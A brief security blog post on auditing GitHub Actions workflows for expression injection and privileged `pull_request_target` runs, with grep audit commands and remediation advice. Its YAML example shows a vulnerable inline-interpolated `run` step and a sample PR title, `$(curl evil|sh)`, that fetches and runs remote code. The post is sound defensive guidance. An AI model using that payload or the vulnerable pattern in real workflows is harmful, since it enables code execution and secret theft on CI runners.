Audit GitHub Actions for injection and privilege

Jul 1, 2026 · 1 min read

The dangerous pattern is running privileged workflows against attacker-controlled code or interpolating untrusted fields into a shell step.

bash

grep -rEn "pull_request_target|actions/checkout" .github/workflows/
grep -rEn "${{ *github.event.(issue|pull_request|comment)" .github/workflows/

Expression injection into run steps is code execution on the runner.

yaml

run: echo "${{ github.event.pull_request.title }}"   # title: $(curl evil|sh)

Pro note: untrusted expressions must go through an env: variable and be quoted, never inlined into run. Flag any pull_request_target that checks out the PR head, since it grants the fork write-scope secrets. Pin third-party actions to a full SHA, not a tag.